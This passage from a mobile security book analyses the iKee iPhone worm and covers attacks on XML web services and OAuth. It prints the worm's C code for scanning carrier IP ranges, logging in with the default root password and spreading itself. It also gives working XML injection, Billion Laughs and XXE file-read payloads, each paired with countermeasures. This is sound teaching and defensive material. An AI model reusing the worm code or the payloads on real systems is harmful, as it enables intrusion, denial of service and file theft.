enforcement took no interest in pursuing criminal charges, and the malware author even 
got a job offer as an iOS developer owing to the notoriety shortly after the release of the 
worm.

The worm is designed to scan for devices in the 3G IP range, in the IP ranges controlled 
by a number of MNOs such as Vodafone, Optus, and Telstra, in part of the private IP 
address space, and also some random IP ranges. Given the heavy focus on targeting 
Australian MNOs, the vast majority of the infections were reported in Australia, but 
there were reports of iPhone infections in other countries. The following C code snippet 
shows the IP ranges that the worm targets. AT&T’s network was apparently deemed 
“TOO BIG” to attack.
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    //char ipRange[256] = "120.16.0.0-120.23.255.255";
    char *locRanges = getAddrRange();
    char *lanRanges = "192.168.0.0-192.168.255.255";
    // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = "202.81.64.0-202.81.79.255";
    char *vodRanges2 = "23.98.128.0-123.98.143.255";
    char *vodRanges3 = "120.16.0.0-120.23.255.255";
    char *optRanges1 = "114.72.0.0-114.75.255.255";
    char *optRanges2 = "203.2.75.0-203.2.75.255";
    char *optRanges3 = "210.49.0.0-210.49.255.255";
    char *optRanges4 = "203.17.140.0-203.17.140.255";
    char *optRanges5 = "203.17.138.0-203.17.138.255";
    char *optRanges6 = "211.28.0.0-211.31.255.255";
    char *telRanges = "58.160.0.0-58.175.255.25";
    //char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG

To determine whether a scanned host is vulnerable, iKee simply uses the sshpass 
utility, which connects to a host via SSH in a noninteractive mode, to run the echo 
command on the victim’s iOS device. The worm only tries one password defined by the 
VULN_PASS constant, which is set to the default root password that we previously 
mentioned is “alpine.” Thankfully, the worm did not attempt a more complicated attack 
by launching an online dictionary or brute-force attack against the root account. If the 
command executes successfully on the remote host, then iKee will know because the 
output from the sshpass utility will be “99” since that was the command-line argument 
provided to the echo command. The following C code snippet demonstrates the process 
of determining whether the scanned host in question is vulnerable:

    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine,
"sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'",
VULN_PASS, host);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, "99"))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
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After determining that an iOS device is vulnerable, iKee runs a series of commands 
to propagate itself to the new host. First, the worm deletes the sshpass utility (/bin/
sshpass) and the worm itself (/bin/poc-bbot) from the remote host. Next, the worm 
copies the sshpass utility and the worm itself from the current mobile device’s file 
system to the remote host’s file system. iKee then copies an image to the remote host 
(/var/log/youcanbeclosertogod.jpg) to replace the background image (/var/
mobile/Library/LockBackground.jpg). The image’s filename (youcanbeclosertogod
.jpg) is most likely a reference Nine Inch Nails’ ode to self-loathing sexual activity or a 
failed attempt to spread the word of God via a computer worm. Then, the worm copies 
over its daemon configuration file (/System/Library/LaunchDaemons/com.ikey.bbot
.plist) and executes the worm on the remote host. Additionally, the worm prevents further 
exploitation of the vulnerability by other malicious actors, or a reinfection by similar worms, 
by deleting the SSH daemon’s configuration file (/Library/LaunchDaemons/com.openssh.
sshd.plist) and killing the SSH daemon (sshd). At this point, the remote host is now infected 
and scanning for other victims in the defined IP ranges. The process of propagating to a new 
host is demonstrated by the following C code snippet. The author apparently did not want 
to perform the last operation, which involves deleting the SSH daemon’s configuration file, 
as shown in his commentary that states that “I didn’t want to have to do this.”

    // Copy myself to them
    // run as startup
    if (runCommand("uname -n", host) == 0)
    {
        //printf("\n\r - Infecting: ");
        prunCommand("uname -n", host);
        prunCommand("rm /bin/sshpass", host);
        prunCommand("rm /bin/poc-bbot", host);
        //prunCommand("killall poc-bbot", host);
        if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0
&& CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0)
        {
            //printf(" - Replicated successfully");
            prunCommand("rm /var/mobile/Library/LockBackground.jpg;
echo \"\r\n - Removed old background\"", host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile("/var/log/youcanbeclosertogod.jpg",
 "/var/mobile/Library/LockBackground.jpg", host);
            CopyFile("/var/log/youcanbeclosertogod.jpg",
 "/var/log/youcanbeclosertogod.jpg", host);
            //CopyFile("/var/mobile/Library/LockBackground.jpg",
 "/var/mobile/Library/LockBackground.jpg", host); // We aren't
installing an app.

            //printf(" - Background set (ast.jpg).");
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            CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist",
 "/System/Library/LaunchDaemons/com.ikey.bbot.plist",
host);
            prunCommand("launchctl load
/System/Library/LaunchDaemons/com.ikey.bbot.plist", host);
            // I didn't want to have to do this.
            prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist;
 launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist",
host);
            prunCommand("killall sshd", host);
            //printf("\n\r - Program set to startup on boot");
            //prunCommand("reboot", host)
            //printf("\n\r - Rebooting phone!");
            //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host);
            //printf("\n\r - Ringtone set (ngtgyu.m4r).");
        }
    }
    return 0;

The next time the victim views his or her iPhone, Rick Astley will be the new 
background image, as shown in Figure 5-11. This payload is clearly a joke and not 
particularly malicious, but it does eat up users’ monthly data allowances and causes the 
victims to have to figure out how to remove the malware and reinstall the SSH daemon, 
thus infuriating a large number of people. Earlier variants of the worm had a bug, which 
caused the victim’s original background image to be copied over to a newly infected 
remote host instead of a picture of Rick Astley. This buggy version of the worm was 
dubbed the “Asian Child” virus, because the iKee worm started spreading with an image 
of an Asian baby’s face by accident. The Australian malware author claimed that the 
purpose of the worm was to raise awareness about how many people do not change 
their root password after installing the SSH daemon from Cydia. Future iOS malware 
may not be as forgiving as iKee, as demonstrated by the duh malware (IKee.B), but so far 
Apple’s mobile platform has been largely untouched by crimeware, which is strange 
given its sustained popularity.

MALWARE SECURITY: ANDROID VS. iOS
The lack of malware seen on iOS devices and the multitude of samples identified on 
Android devices have prompted some to proclaim that Apple has developed a more 
secure platform, but we feel the situation is a little more complicated. The following are 
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some of the reasons for the difference in the amount of malware seen on the two 
platforms:

• Market share There is a reason that malware authors target Windows systems 
more often than Mac OS X systems. According to Strategy Analytics, Android’s 
share of the global smartphone market grew from 49 percent in 2011 to 
70 percent in 2012. Apple’s iOS continues to be a strong contender by capturing 
22 percent of the market share in 2012, but Apple’s market share is nowhere 
near Google’s in 2012. To maximize their return on investment, most malware 
authors looking to commit toll or banking fraud will continue to target Android 
devices as long as Google continues to dominate the market, just like malware 
authors targeted the Symbian platform when the Symbian OS had a signifi cant 
market share years ago.

• Application approval process After paying a one-time developer registration 
fee of 25 dollars, anyone can upload an Android application to Google Play. 
Within 15 to 60 minutes, the Android application appears in the Google Play 
store. Google relies on an automated malware detection system named Bouncer 
to detect and remove malicious applications after submission into Google Play. 
As mentioned previously, a number of security researchers have questioned 
the effectiveness of Bouncer and, in some cases, have published research 
illustrating potential defi ciencies, but we doubt anyone would be surprised by 
the conclusions that an automated malware analysis system can be defeated by 
a dedicated malicious actor. On the other hand, Apple performs an automated 
review via static analysis tools to detect improper API usage and performs 
a manual review of submitted applications, so the approval process usually 

Figure 5-11 iKee changed the user’s background to “rickroll” the victim.
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takes about a week. Additionally, developers are required to pay a 99 dollar 
annual developer fee, thus creating a slightly higher barrier to entry. We could 
argue that Apple’s more stringent registration and review process reduces the 
amount of malware found in its application store, but the thoroughness of their 
review in relation to identifying vulnerable or malicious code in submitted iOS 
applications is unknown.

• Support for third-party application stores Android devices support installing 
applications from unknown sources, which means that users can install 
software from third-party application stores and users can be tricked into 
installing malware from a hostile website. The ability to install software from 
unknown sources is not enabled by default, but many users enable this setting 
and users can also be tricked into changing their security settings. Although 
Android will not install unsigned APKs, Android does not actually care who 
signs the application—so Google, or some other trusted party, does not need 
to sign the Android application. Apple, on the other hand, only allows users 
to install iOS applications from its App Store or an enterprise application store 
(assuming the proper enterprise provisioning profi le is installed on the device). 
The iOS kernel enforces this restriction by only executing code signed by an 
approved party. Users must jailbreak their iOS device to install software from 
a third-party application store. Undoubtedly, malicious actors could attempt to 
trick users into jailbreaking their iOS device and then installing malware, but 
this step is unnecessary on Android devices.

Apple’s walled-garden approach and its strict code-signing mechanisms certainly 
have benefits when it comes to reducing the amount of malware on its platform. But 
Google is unlikely to adopt a similar walled-garden approach because countless Android 
users would feverishly oppose such changes that hinder openness. They do, however, 
expect improvements to Google’s automated malware analysis via Bouncer and the 
Application Verification Service, and improvements to their platform’s code-signing 
capabilities to combat the emergent problem.

SUMMARY
As mobile platform security has continued to mature, so have malware authors. The 
increase in forms and variants of malware and their complexity continue to outpace the 
development of preventative measures. Android’s preventive measures are becoming 
more robust, although Android still has a long way to go to reduce the amount of malware 
currently available. Though iOS has so far been spared the brunt of the malware attack, 
we expect to see an increase in malware targeting the platform as mobile malware authors 
continue to produce more sophisticated software and the number of jailbroken devices 
increases (the evasi0n jailbreak for iOS 6.1 was downloaded over 5 million times in the 
first 48 hours after it was released, to give you some idea of how popular iOS jailbreaking 
is). As the players on both sides continue to adapt, expect to see some interesting attacks 
in the coming years.
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Mobile clients get all the attention nowadays—the dominant market share held 
by both Android and iOS devices is a testament to their current popularity. 
However, despite all the excitement on the client-side of mobile, vulnerabilities 

identified on the server-side often represent a higher business risk. Given a client-side 
SQL injection vulnerability in a mobile application, an attacker would usually have to 
target a specific client in order to extract the information stored in a SQLite database 
residing on a single mobile device, likely related to a single user, which may not contain 
much data of value if the application developers avoided storing sensitive data on the 
client-side. On the other hand, by exploiting a server-side SQL injection vulnerability 
within a web service or web application, an attacker may have access to all the 
application’s data, which, depending on the system, could include highly sensitive 
information such as email addresses, usernames, passwords, credit card information, 
and social security numbers for every user of the application. To paraphrase infamous 
bank robber Willie Sutton when asked why he robbed banks: because the server’s where 
the data is.

Not only is the business risk usually greater, the attack surface on some mobile 
systems is larger on the server-side. Given a thin client, which provides the user with an 
interface to interact with a SOAP-based web service associated with a financial institution, 
we could undoubtedly identify security issues in how the client parses XML documents, 
handles logging, stores data, or interacts with other processes on the mobile device. By 
definition, however, the larger attack surface exists on the server-side because it 
encompasses endpoints for all of these interfaces plus most of the business logic, internal 
interfaces, databases, partner interfaces, and so on. Therefore, the server-side components 
should never be brushed aside and ignored during a security assessment of a mobile 
application.

Given that the attack surface is often greater on the server-side and server-side 
vulnerabilities hold a greater business risk for most organizations, this chapter is an 
important part of this book. The first section provides high-level guidance pertaining to 
web service security. The next section dives into a set of vulnerabilities that we have 
often seen in XML-based web services. We focus on attacks against XML-based web 
services as an example because we see them predominantly in our mobile consulting 
work, but JSON-based and RESTful web services are also commonly used by mobile 
applications. We then briefly review popular authentication and authorization 
frameworks and their associated common vulnerabilities and then finally review blended 
attacks in which traditional web application vulnerabilities, such as cross-site scripting, 
can be exploited to leverage exposed native mobile functionality.

GENERAL WEB SERVICE SECURITY GUIDELINES
Understanding what types of attacks will be launched against your organization is 
crucial before taking on the task of strengthening your defenses. Since 2004, The Open 
Web Application Security Project (OWASP) has been compiling a list of the “ten most 
critical web application security risks” to raise awareness of security issues plaguing 
web-based software. At the time of this writing, the most recent listing was 2010 and is 
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located here: owasp.org/index.php/Top_10_2010. The 2013 release candidate of the Top 
10 list is available, but has not been finalized yet; you can find it at owasp.org/index
.php/Top_10_2013.

Bug parade lists such as the OWASP Top 10 or CWE/SANS Top 25 Most Dangerous 
Software errors are successful at raising awareness of common vulnerabilities, and they 
certainly help security practitioners by providing them with a basic checklist during 
audits. However, Top X bug lists focus too heavily on a small set of bugs, are not 
comprehensive, and do not effectively teach developers and architects to design systems 
defensively. For a more comprehensive list, review MITRE’s Common Weakness 
Enumeration website (cwe.mitre.org), which includes over 700 types of implementation 
bugs and design flaws that can lead to exploitable vulnerabilities.

Penetration testers wanting to get up to speed should start by reviewing the common 
bug lists, such as the OWASP Top 10 and SANS Top 25, and then move on to reviewing 
free online resources such as the OWASP Testing Guide (owasp.org/index.php/OWASP_
Testing_Project), which does contain a section specifically for XML-based web services, 
and the WS-Attacks project, which documents some of the more obscure web service 
attacks (clawslab.nds.rub.de/wiki/index.php/Main_Page). Besides online resources, 
we also recommend picking up Hacking Exposed Web Applications by Joel Scambray, 
Vincent Liu, and Caleb Sima (McGraw-Hill Professional, 2010) and The Web Application 
Hacker’s Handbook by Dafydd Stuttard and Marcos Pinto (Wiley, 2011) for additional 
information on performing a thorough penetration test of a web application or web 
service. Developers, on the other hand, should focus on understanding how to perform 
input validation and output encoding securely, how to safely manage error handling and 
logging, how to implement authentication/authorization, and how to use application 
programming interfaces properly as opposed to myopically fixating on bug lists. For 
developers, we recommend Software Security by Gary McGraw (Addison-Wesley, 2006), 
Security Engineering by Ross Anderson (Wiley, 2008), or Writing Secure Code by Michael 
Howard and David LeBlanc (Microsoft Press, 2003).

ATTACKS AGAINST XML-BASED WEB SERVICES
We first focus on common vulnerabilities that we have seen in many XML-based web 
services such as SOAP web services during real-world security assessments. This 
discussion is by no means comprehensive as a wide range of vulnerabilities can affect 
XML-based web services, ranging from obscure types of injection vulnerabilities to 
denial of service vulnerabilities related to administering file handles improperly. This 
section, however, describes a number of vulnerabilities related specifically to handling 
XML processing improperly. When assessing the security of a XML-based web service 
associated with a mobile device, start with the following steps:

 1. Identify web service endpoints. Decompile or disassemble the mobile client to 
fi nd references to web service URLs (use techniques described in Chapter 4). 
Alternatively, use a web proxy tool or network sniffer while actively using the 
target application to identify the web service URLs during runtime.
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 2. Craft legitimate web service requests for all the endpoints and operations 
identifi ed. Either base these requests on observed requests via network traffi c 
analysis or build these requests manually by analyzing the Web Services 
Description Language (WSDL) fi les associated with the web services. SoapUI is 
a useful tool for this process because it can build a set of base test cases given a 
URL to an identifi ed WSDL.

 3. Now comes the fun part, vulnerability discovery. Alter the structure or 
contents of the XML documents sent to the web service endpoints to violate 
confi dentially, integrity, or availability of the target system, and observe the 
response for any anomalies.

XML Injection
Web services that fail to perform input validation or output encoding on user input 
employed to construct XML responses are vulnerable to XML injection attacks. The 
injection of unintended XML structures by an attacker can alter an application’s business 
logic. Exploitation is, therefore, highly application specific. Consider a scenario in which 
a mobile application interacts with a web application displayed within a WebView 
component in order to purchase widgets. On the back-end, the web application queries 
a set of XML-based web services to retrieve product information, process payments, and 
finalize orders. When a user adds a product to his or her cart, the web application sends 
the following XML document to a web service:

<?xml version="1.0"?>
<ProductRequest>
      <Id>584654</Id>
</ProductRequest>

The web service responds by providing the product’s price so the web application 
can now update the cart total properly to $199.99 plus tax, but the web service also 
reflects part of the user input (the product identifier) verbatim:

<?xml version="1.0"?>
<ProductResponse>
      <Id>584654</Id>
      <Price>199.99</Price>
</ProductResponse>

In this example, we assume that neither the web application nor the web service 
performs input validation or output encoding on the product identifier value provided 
by the user and that the web service simply casts the user input into a numeric data type 
to find the relevant product order, but reflects the user input verbatim. So let’s consider 
the outcome when a malicious user provides the following:

584654</Id><Price>0.99</Price></ProductResponse><ProductResponse><Id>123
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The web service would return the following XML document to the web application, 
which includes XML structures provided by the attacker:

<?xml version="1.0"?>
<ProductResponse>
      <Id>584654</Id>
      <Price>0.99</Price>
</ProductResponse>
<ProductResponse>
      <Id>123</Id>
      <Price>199.99</Price>
</ProductResponse>

Whether the attacker is able to purchase items for dirt cheap is dependent on how the 
web application parses the above response. Most applications would extract out the first 
ProductResponse element, possibly using an XPath query, and use the attacker-
provided pricing information to update the cart information. To carry out such an attack, 
the attacker needs detailed knowledge of the XML response structure sent from the web 
service to the web application. Therefore, access to the relevant WSDLs or access to the 
source code of the relevant web application or web services would be extremely beneficial 
to an attacker.

XML Injection Countermeasures
Similar to cross-site scripting vulnerabilities, developers can remediate XML injection 
vulnerabilities via input validation, preferably using a whitelisting approach, and output 
encoding. The purpose of output encoding is to convert potentially dangerous control 
characters into characters that can be safely displayed as data. At the very least the less-
than (<), greater-than (>), and ampersand (&) characters should be encoded into their 
corresponding XML entities, as shown in the following example. We strongly recommend 
relying on encoding functions provided by a well-known security framework such as 
OWASP’s Enterprise Security API (ESAPI) or the XML parser as opposed to creating 
your own set of encoding functions. Here’s our prior “bad” example rewritten with 
improved security through encoding:

<?xml version="1.0" encoding="UTF-8"?>
<ProductResponse>
      <Id>584654&lt;/Id&gt;&lt;Price&gt;0.99&lt;/Price&gt;&lt;
/ProductResponse&gt;&lt;ProductResponse&gt;&lt;Id&gt;123</Id>
      <Price>199.99</Price>
</ProductResponse>
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XML Entity Expansion
XML entity expansion attacks exploit XML features that allow users to build documents 
dynamically at process time by defining XML entities. Additionally, XML parsers allow 
entities to be defined recursively. Therefore, XML parsers that do not place limitations on 
the depth of entity expansions are vulnerable to a denial of service attack dubbed the 
Billion Laughs attack because an attacker could submit an XML document containing a 
large number of recursive entity references, causing the parser to expand multiple entities 
and consume a significant amount of memory and CPU time in order to parse the 
document.

The following XML document shows a single internal entity declaration, which refers 
to a string. When the XML parser sees the entity in the body of the XML document, it 
performs a lookup and replaces &a1; (which we’ve highlighted in bold type) with the 
string defined in the document type definition (DTD):

<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY a1 "I've often seen a cat without a grin..."> ]>
<someElement1><someElement2>&a1;</someElement2></someElement1>

After parsing the document and replacing the entity with the definition of the entity, the 
XML parser produces the following:

<?xml version="1.0"?>
<someElement1>
<someElement2>I’ve often seen a cat without a grin...</someElement2>
</someElement1>

Now that you understand how to define internal entities, consider the following 
HTTP request that includes a XML document with recursive entity definitions:

POST /SomeWebServiceEndpoint HTTP/1.1
Host: www.example.com
Content-Length: 662

<?xml version="1.0"?>
<!DOCTYPE root [
      <!ENTITY a1 "I've often seen a cat without a grin...">
      <!ENTITY a2 "&a1;&a1;"><!ENTITY a3 "&a2;&a2;">
      <!ENTITY a4 "&a3;&a3;"><!ENTITY a5 "&a4;&a4;">
      <!ENTITY a6 "&a5;&a5;"><!ENTITY a7 "&a6;&a6;">
      <!ENTITY a8 "&a7;&a7;"><!ENTITY a9 "&a8;&a8;">
      <!ENTITY a10 "&a9;&a9;"><!ENTITY a11 "&a10;&a10;">
      <!ENTITY a12 "&a11;&a11;"><!ENTITY a13 "&a12;&a12;">
      <!ENTITY a14 "&a13;&a13;"><!ENTITY a15 "&a14;&a14;">
      <!ENTITY a16 "&a15;&a15;"><!ENTITY a17 "&a16;&a16;">
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      <!ENTITY a18 "&a17;&a17;"><!ENTITY a19 "&a18;&a18;">
      <!ENTITY a20 "&a19;&a19;">
]>
<SomeElement1><SomeElement2>&a20;</SomeElement2></SomeElement1>

The XML parser expands the &a20; entity into 219 &a1; strings. In this example, the 
attacker sends an XML document that is only 662 bytes to the web service, and the web 
service is forced to expand the document to a size greater than 20MB. An attacker could 
easily craft a small XML document that forces a XML parser to consume gigabytes of 
memory by using additional recursive entities, which could trigger a denial of service 
condition on the target system. Such an attack is much more effective than denial of 
service attacks that seek to flood the target server with an excessive amount of network 
traffic because this type of attack could be launched by a single malicious actor with 
limited bandwidth. An attacker could send a single HTTP request that causes the web 
service to stop operating.

XML Entity Expansion Countermeasures
To prevent XML entity expansion attacks, developers can disable the use of DTDs in the 
XML parser or developers can configure the XML parser to enforce a limit on the depth 
of entity expansions. For example, if you are using Java API for XML Processing (JAXP) 
1.3 or later, then you can enable the FEATURE_SECURE_PROCESSING feature to limit the 
number of entity expansions allowed to mitigate the risk of denial of service attacks. The 
programmatic configuration for a DocumentBuilderFactory object looks like this:

dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

After enabling this feature, the XML parser rejects our previous example, as shown 
by the following Java exception. Ultimately, the configuration options will vary among 
parsers, so review carefully the XML parser documentation used by your web services to 
determine how to best lock down its features.

[Fatal Error] :1:1: The parser has encountered more than "64,000"
entity expansions in this document; this is the limit imposed by the
application.
org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; The
parser has encountered more than "64,000" entity expansions in this
document; this is the limit imposed by the application.
      at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse
(Unknown Source)
      at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse
(Unknown Source)
      at javax.xml.parsers.DocumentBuilder.parse(Unknown Source)

Be aware that the same type of attack can also be launched against a client that is 
processing XML responses from a web service. For example, if an Android application uses 
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the SAXParser class to process XML either from a web service or from an untrusted source 
such as another Android application, then the application should either disable the use of 
DTDs or limit the number of entity expansions, similar to how back-end systems can be 
hardened against denial of service attacks. On the iOS side, the NSXMLParser catches the 
XML entity expansion attack and throws an NSXMLParserEntityRefLoopError 
exception before a denial of service condition occurs, but developers who decide to use an 
XML parser other than the one provided by Apple should carefully review the parser’s 
options.

XML Entity Reference
Besides causing a denial of service condition, an attacker can also abuse XML entities to 
acquire the contents of local files stored on the web server. Consider the following 
example, which shows an XML document that defines an external entity reference called 
fileContents that points to the host file on Windows and then uses the defined entity 
later in the document:

POST /SomeWebServiceEndpoint HTTP/1.1
Host: www.example.com
Content-Length: 196

<?xml version="1.0"?>
<!DOCTYPE fileDocType [
      <!ENTITY fileContents SYSTEM "C:\Windows\System32\drivers\etc\hosts">
]>
<SomeElement1><SomeElement2>&fileContents;</SomeElement2></SomeElement1>

If the XML parser supports DTDs with external entities, which many XML parsers do 
by default, then the XML parser fetches the host file from the file system and may display 
the contents of the file within the HTTP response to the attacker. Which files an attacker 
can steal via this vulnerability depends on the permissions granted to the process 
responsible for handling web service requests. A web service running under the guise of 
the administrator or root user is clearly the worst-case scenario. The attacker could also 
exploit this type of vulnerability to trigger a denial of service condition by forcing the 
XML parser to access a special device file or forcing the XML parser to make a large 
number of HTTP requests to access remote resources in order to exhaust the network 
connection pool.

XML Entity Reference Countermeasures
As previously stated, for most XML-based web services that do not require DTD 
processing within the web service request, we recommend simply disabling DTDs 
altogether. Under some circumstances, however, developers may want to configure their 
XML parsers to handle DTDs that contain general entities but prevent the processing of 
external entities. Within JAXP, you can disable the external-general-entities 

06-ch06.indd   154 6/19/2013   1:04:20 AM



Chapter 6: Mobile Services and Mobile Web 155

and external-parameter-entities features to prevent the attack since the XML 
parser will no longer handle external general entities, external parameter entities, or 
external DTDs. The following Java code shows how a developer can use the setFeature 
method to set the underlying XML parser’s features to disable the handling of external 
entities:

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Alternatively, you could also hook the entity resolution process by setting up an 
EntityResolver object that returns an empty string as opposed to the requested 
system resource. This technique could be used if you want to allow external entities, but 
only want to allow access to specific resources defined within a whitelist.

DocumentBuilder db = dbf.newDocumentBuilder();
db.setEntityResolver(new EntityResolver() {
      public InputSource resolveEntity(String publicId, String systemId)
                  throws SAXException, IOException {
            return new InputSource(new StringReader(""));
      }
});

Similar to XML entity expansion attacks, XML entity reference attacks can also be carried 
out against Android and iOS applications. For the most part, the same remediation advice 
applies to preventing the attack against Android applications. For iOS applications, the 
NSXMLParser class, by default, does not handle external entities, but a developer 
might enable this dangerous functionality by calling the setShouldResolveExternal-
Entities method. In general, any type of application should avoid handling external 
entities unless the XML document comes from a trusted source.

COMMON AUTHENTICATION AND 
AUTHORIZATION FRAMEWORKS

Although a client can authenticate with a server in numerous ways, most web applications 
authenticate users via password-based authentication, and mobile applications are no 
different. To make matters worse, users typically do not want to have to type in their 
credentials every time they access a mobile application, which forces application 
developers to make some hard decisions. From a security perspective, we have to 
consider the possibility of device theft and the resulting compromise of all files stored on 
the mobile device, but we do not recommend storing the user’s credentials in plaintext 
just so a user does not have to type in his or her credentials every time the user starts a 
social networking mobile application.
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Barring access to a tamper-resistant hardware component such as a Secure Element 
(SE), in which we could more securely store cryptographic information used for 
authentication, one possible improvement is to use an authorization framework such as 
OAuth to first authenticate a user using traditional password-based authentication. The 
resulting authentication token is then stored on the mobile device as opposed to storing 
the user’s password in plaintext. In this case, if an attacker physically steals a mobile 
device, then the attacker only has access to the authentication token and not the victim’s 
password, which is likely reused by the victim in a multitude of systems. Granted, the 
attacker now has a token that can be used to perform actions on behalf of the victim, but 
the back-end systems can minimize the damage by setting reasonable expiration dates, 
restricting the token’s scope, and revoking tokens that are known to be compromised.

If the storage of a plaintext token is not acceptable, and we do not deem it acceptable 
for most financial applications that could perform highly sensitive operations, then we 
suggest forcing the user to authenticate every time he or she uses the mobile application 
to avoid any type of client-side data storage of credentials or authentication tokens.

Let’s take a look at attacks and countermeasures for some popular authentication/
authorization frameworks.

OAuth 2
OAuth, which stands for Open Authorization, is a popular authorization framework 
utilized by a number of popular organizations such as Google, Facebook, Yahoo!, 
LinkedIn, and PayPal, many of whom reuse OAuth for their mobile applications. OAuth 
seeks to provide applications with an authorization framework that allows one application 
to access the protected resources housed in another application without knowing the 
user’s credentials associated with the protected resources. Note that we focus on the 
OAuth 2 specification within this section. OAuth 2 implementations are not compatible 
with OAuth 1.x implementations, and the security implications are significantly different. 
There are four main actors within the OAuth protocol:

• Resource owner The end-user who has access to the credentials and owns the 
protected resources.

• Resource server The server hosting protected resources. Provided with a valid 
access token, the resource server should provide the client application with the 
protected resources.

• Client The client application seeking to access protected resources on behalf 
of the resource owner. The client could be a mobile application or a web 
application that wants to gain access to protected resources.

• Authorization server The server that provides the client application with 
access tokens after the resource owner has provided the authorization server 
with valid credentials.

How the client application acquires an access token to gain access to protected resources 
varies depending on which type of authorization grant the system uses. OAuth 2 defines 

06-ch06.indd   156 6/19/2013   1:04:20 AM



Chapter 6: Mobile Services and Mobile Web 157

four different grant types. Understanding each configuration helps us understand the 
threats inherit to systems that utilize OAuth.

OAuth Authorization Code Grant Type
The first grant type is the authorization code grant type, which is shown in Figure 6-1.

Here the steps are explained in more detail:

 1. The client starts the process by directing the resource owner’s user-agent to the 
authorization endpoint. For a mobile device, the user-agent is either the mobile 
browser or a WebView component embedded within the mobile application. 
This request includes the client identifi er, requested scope, local state, and 
redirection URI.

 2. The resource owner provides the authorization endpoint with his or her 
credentials, which are typically a username and password.

 3. Assuming that the resource owner has decided to grant the client access 
and provided the proper credentials to the authorization endpoint, the 
authorization server redirects back to the client application using the 
redirection URI provided previously. This request provides the client with 
the authorization code.

 4. The client application requests an access token from the authorization server by 
providing the authorization code and the redirection URI.

Resource
owner

Client

2)

1) 3)

1) Client ID & Redirect URI

2) User authentication

3) Authorization code

4) Authorization code &
Redirect URI

5) Access token

Authorization
server

User-agent

Figure 6-1 Authorization code grant type
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 5. The authorization server verifi es the authorization code and verifi es that the 
redirection URI matches the redirection URI used to redirect to the client earlier. 
If both values are valid, then the authorization server provides the client with 
an access token. The client can now use the access token to access protected 
resources on the resource server.

There are a number of important security implications of using this grant type, which 
enable potential attacks.

Using Mobile WebView to Steal Credentials
In theory, with this grant type the client application cannot access the resource 
owner’s credentials used to authenticate to the authorization server because the 
resource owner types his or her credentials on the authorization server’s web page 
via the user-agent, which is typically a browser. This assumption works well when 
the client and authorization servers are web applications, but this assumption is false 
if the mobile application is using a WebView component as its user-agent, as opposed 
to the external mobile browser, because the host application can execute arbitrary 
JavaScript within any domain. Therefore, using a WebView component with this 
grant type turns this into an overly complicated version of the resource owner 
password credentials grant type because the client application could steal the resource 
owner’s credentials by injecting malicious JavaScript into the page. For example, a 
malicious application pretending to be a legitimate iOS application could use the 
UIWebView’s stringByEvaluatingJavaScriptFromString method to inject 
password stealing JavaScript code into the authorization server’s login page.

URL Redirection Attacks
Validating the redirection URI is also important. All client redirection URIs should be 
registered prior to this workflow and validated during step 1, and the redirection URI in 
steps 1 and 4 must match before the authorization coughs up the access token in step 5 
(Figure 6-1). Validating the redirection URIs allows the authorization server to prevent 
open URL redirection attacks that trick the victim into going to http://www
.somerandomevilsite.com. Not only can this vulnerability be used to phish 
unsuspecting users, but it could also be used to acquire valid access tokens.

OAuth Implicit Grant Type
The next type of authorization grant type is the implicit grant type shown in Figure 6-2.

The steps of implicit grant type are as follows:

 1. The client starts the process by directing the resource owner’s user-agent to the 
authorization endpoint. This request includes the client identifi er, requested 
scope, local state, and redirection URI.
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 2. The resource owner provides the authorization endpoint with his or her 
credentials, which are typically a username and password.

 3. Assuming that the resource owner decided to grant the client access 
and provided the proper credentials to the authorization endpoint, the 
authorization server redirects back to the client application using the 
redirection URI provided previously. The access token is provided within 
the fragment of the URI.

 4. The user-agent makes a request to the web-hosted client resource, which, in 
theory, does not include the fragment (no access token).

 5. The webhost client resource provides JavaScript code designed to extract out 
the access token and any other parameters included in the fragment.

 6. The user-agent executes the JavaScript code and passes the access token to the 
client application.

The implicit grant workflow is similar to the authorization grant workflow but is 
simplified for client applications written in a scripting language such as JavaScript and 
solely existing in the browser. In this case, the access token is returned to the client as 
part of the URI fragment. This approach is interesting because the URI fragment is never 
sent by user-agents as part of a HTTP request; therefore, intermediate servers can neither 

User-agent

Resource
owner

Client

2)

1)

1) Client ID & Redirect URI

2) User authentication

3) Redirect URI with access
token in fragment

4) Redirect URI
without fragment

5) Script

6) Access token

Authorization
server

Figure 6-2 Implicit grant type
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see data stored in the fragment nor would a fragment appear in an unencrypted form in 
client or web server logs, thus limiting some types of information leakage vulnerabilities. 
But the client JavaScript code can still extract the access token for use at a later time, or 
be extracted by an attacker via cross-site scripting attacks.

OAuth Resource Owner Password Credentials Grant Type
The next type of authorization grant type is the resource owner password credentials 
grant type shown in Figure 6-3 and detailed in the following steps:

 1. The resource owner starts the process by providing his or her credentials 
directly to the client application.

 2. The client then requests an access token by providing the user’s credentials to 
the authorization server.

 3. The authorization server provides the client application with an access token 
assuming that the credentials are valid.

In this case, the client application is trusted with the resource owner’s credentials, 
but it does not need to retain the credentials for future use because the credentials can be 
discarded after acquiring an access token. This approach is acceptable when the client 
application is trusted not to leak the credentials to a third party, and the authorization 
server, resource server, and client application are controlled by the same entity, which is 
applicable to many mobile applications.

An evil client could impersonate the resource owner and potentially break into other 
